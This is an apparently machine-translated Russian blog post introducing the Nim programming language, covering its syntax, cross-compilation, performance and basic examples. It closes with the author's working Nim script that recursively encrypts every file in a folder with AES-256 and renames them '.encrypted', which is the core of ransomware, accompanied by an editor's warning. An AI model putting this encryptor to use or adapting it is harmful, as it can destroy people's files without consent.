Введение в NIM: Python-подобный язык программирования, используемый разработчиками вредоносных программ-вымогателей
28 января 2023 г.Что, если я скажу вам, что есть язык, похожий на Python по синтаксису, но ближе к C++, а иногда даже лучше по скорости, и это лишь некоторые из его прелестей, и это только верхушка айсберга
Вы, наверное, сказали бы, что я злюсь, но подождите, нас ждет угощение, просто потерпите меня.
Итак, что такое Ним?
Nim первая версия 0.8.2 была запущена в 2008 году. он был разработан Андреасом Румпфом. Согласно официальной документации, "Nim – это статически типизированный скомпилированный язык системного программирования. Он сочетает в себе успешные концепции зрелых языков, таких как Python, Ada и Modula".
Несколько замечательных функций, которые он предлагает.
- Синтаксис похож на Python, который помогает многим программистам, а его переключение, безусловно, помогло мне, мы увидим примеры кода, которые помогут вам понять его визуально.
- Вы можете компилировать свои программы для большинства систем, таких как Windows, iOS, Linux, Android, Nintendo Switch, встраиваемых систем, что в основном означает, что перекрестная компиляция возможна для многих платформ. Прочтите это, чтобы узнать больше Руководство пользователя компилятора Nim
- Вдохновленное C++ и Rust, управление памятью в Nim является детерминированным и настраиваемым с помощью деструкторов и семантики перемещения. Он идеально подходит для встроенных систем жесткого реального времени.
- Nim можно использовать для всех внутренних и внешних требований, поскольку его можно скомпилировать в C, C++ или JavaScript.
Пример кросс-компиляции из Windows
#To cross compile, use for example:
#The code will compile and give e executable for linux
nim c --cpu:i386 --os:linux --compileOnly --genScript myproject.nim
- Мы можем просто добавить код C или C++ в тот же файл Nim, что поможет нам легко использовать Win-Api.
- Его скорость сравнима с C++, что делает его идеальным для многих задач, которые просто невозможно выполнить с помощью Python из-за его скорости.
Я думаю, у нас достаточно причин знать, что это то, на что стоит обратить внимание.
Установка NIM
https://nim-lang.org/install_windows.html?embedable=true р>
после того, как вы установили Nim, вы сможете без проблем запустить nim --version
.
Ты первая линия Ним
# This is a comment
echo "Hello World"
Чтобы создать исполняемый файл nim, скомпилируйте main.nim
Мы можем запустить файл main.nim
из cmd или использовать nim compile --run main.nim
, это создаст и запустит исполняемый файл.
Введите данные из командной строки.
var name: string = readLine(stdin)
echo "Hi, ", name, "!"
#Input Harry
#Output
Hi Harry
Несколько сравнений, чтобы увидеть, насколько Ним классный.
Источник: https://github.com/lh3/biofast
Источник: https://github.com/lh3/biofast
Мы видим, что иногда Nim работает даже быстрее, чем C++.
Прежде чем закончить, я хотел бы показать одно из моих собственных творений, которое привлекло меня к Ниму. Внимание! Используйте это на свой страх и риск.
:::информация Примечание редактора. Этот код предназначен только для образовательных целей и не должен запускаться на устройствах/серверах, которые явно не принадлежат ВАМ. Запуск этого на компьютере друга или третьего лица зашифрует все их файлы и откроет исполнителя кода (независимо от того, сделано ли это явно или непреднамеренно, вы можете понести ответственность за ущерб и/или тюремное заключение в определенных юрисдикциях.
:::
#This will encrypt each and every file in that folder given in the path variable.
import os
import strformat
import base64
import nimcrypto
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
let
password: string = "myKey" # Our secret key
path: string = "path_of_folder_we_want_to_encrypt"
for file in walkDirRec path:
let fileSplit = splitFile(file)
if fileSplit.ext != ".encrypted":
echo fmt"[*] Encrypting: {file}"
var
inFileContents: string = readFile(file)
plaintext: seq[byte] = toByteSeq(inFileContents)
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
encrypted: seq[byte] = newSeq[byte](len(plaintext))
iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
var expandedKey = sha256.digest(password)
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
echo len(inFileContents)
ectx.init(key, iv)
ectx.encrypt(plaintext, encrypted)
ectx.clear()
let encodedCrypted = encode(encrypted)
let finalFile = file & ".encrypted"
moveFile(file, finalFile)
writeFile(finalFile, encodedCrypted)
В заключение я хотел бы сказать, что Nim — это потрясающий язык с большим потенциалом, который, несомненно, будет широко использоваться. Я хотел бы сказать, что все, кому понравился этот блог, должны помочь сообществу расти и распространять информацию. Неважно, насколько хорош этот язык, если его не использовать, он обязательно умрет. Сделать Нима известным
:::информация Также опубликовано здесь.
:::
Оригинал